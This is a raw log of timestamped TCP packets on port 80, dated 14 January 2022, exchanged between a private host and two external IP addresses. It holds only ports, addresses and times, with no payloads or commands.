Jan 14, 2022 01:51:48.195502043 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195523977 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195544004 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195554018 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.195564032 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195591927 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195607901 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.195632935 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195642948 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.195653915 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195674896 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195697069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195708036 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.195717096 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195739031 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195753098 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.195759058 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195780993 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195791006 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.195804119 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195826054 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195846081 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195848942 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.195866108 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195882082 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.195888042 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195909023 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195916891 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.195933104 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195952892 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195974112 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.195986032 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.195993900 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196008921 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196016073 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196038008 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196043015 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196058035 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196079016 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196089983 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196099043 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196119070 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196139097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196146965 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196161985 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196172953 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196183920 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196204901 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196213007 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196225882 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196247101 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196254969 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196266890 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196285963 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196296930 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196305037 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196326017 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196332932 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196346045 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196366072 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196383953 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196394920 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196405888 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196427107 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196429968 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196445942 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196449995 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196468115 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196480036 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196489096 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196491957 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.196511030 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.196544886 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.205674887 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.206010103 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.206273079 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.237422943 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237466097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237492085 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237514973 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237540007 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237565041 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237587929 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237596035 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.237612963 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237627029 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.237633944 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.237637997 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237639904 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.237663031 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237689018 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237713099 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237719059 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.237736940 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237739086 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.237761021 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237783909 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237806082 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237816095 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.237827063 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237828970 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.237888098 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237900972 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.237914085 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237938881 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237962008 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237984896 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.237992048 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238008976 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238009930 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238035917 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238059044 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238080978 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238087893 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238105059 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238109112 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238126993 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238148928 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238153934 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238172054 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238193035 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238200903 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238215923 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238238096 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238239050 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238260984 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238284111 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238307953 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238312960 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238327980 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238338947 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238352060 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238373041 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238378048 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238395929 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238416910 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238437891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238451958 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238460064 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238464117 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238481998 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238502979 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238509893 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238526106 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238548994 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238569975 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.238578081 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.238600969 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.239779949 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.239801884 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.239820957 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.239866018 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.239891052 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.265224934 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.265261889 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.265283108 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.265304089 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.265324116 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.265347004 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.265398979 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.265695095 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.265719891 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.265737057 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.265757084 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.265924931 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.266110897 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.266159058 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.267983913 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.268011093 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.268033981 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.268054008 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.268074989 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.268086910 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.268095970 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.268115997 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.268124104 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.268137932 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.268158913 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.268172026 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.268178940 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.268182039 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.268201113 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.268220901 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.268232107 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.268335104 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.269022942 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.269043922 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.269063950 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.269099951 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.270008087 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.270029068 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.270049095 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.270083904 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.270112991 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271022081 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271044016 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271064043 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271084070 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271097898 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271102905 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271132946 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271146059 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271153927 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271174908 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271176100 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271198034 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271219015 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271229029 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271241903 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271262884 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271274090 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271284103 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271305084 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271310091 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271327019 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271347046 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271368027 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271378040 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271388054 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271399975 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271410942 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271431923 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271435976 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271454096 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271473885 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271478891 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271495104 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271514893 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271536112 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271548033 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271555901 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271573067 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271579027 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271604061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271609068 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271624088 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271645069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271663904 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271673918 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271683931 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271692991 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271707058 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271727085 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271739006 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271749973 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271770954 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271785021 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271790028 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271811962 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271821976 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271831989 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271852016 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271872044 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271877050 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271891117 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271898985 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271914005 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271934986 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271941900 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271955013 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271975040 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.271986961 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.271994114 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.272016048 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.272025108 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.272036076 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.272056103 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.272075891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.272084951 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.272102118 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313148022 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313179016 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313199043 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313220024 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313240051 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313260078 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313280106 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313283920 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313299894 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313314915 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313321114 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313323021 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313327074 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313344955 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313364983 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313383102 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313385010 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313405037 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313426971 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313435078 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313450098 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313457012 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313471079 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313492060 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313498974 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313513041 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313534021 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313553095 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313558102 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313572884 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313580990 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313595057 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313616991 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313628912 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313638926 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313659906 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313678980 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313687086 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313699961 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313705921 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313719988 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313739061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313750982 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313759089 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313777924 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313781023 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313798904 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313818932 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313829899 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313838005 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313877106 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313895941 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313895941 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313915968 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313935041 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313941956 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313955069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313975096 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313978910 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.313994884 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.313997030 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.314016104 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314035892 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314049006 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.314055920 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314074993 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.314075947 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314095974 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314116001 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.314122915 CET	49863	80	192.168.2.3	141.8.194.74
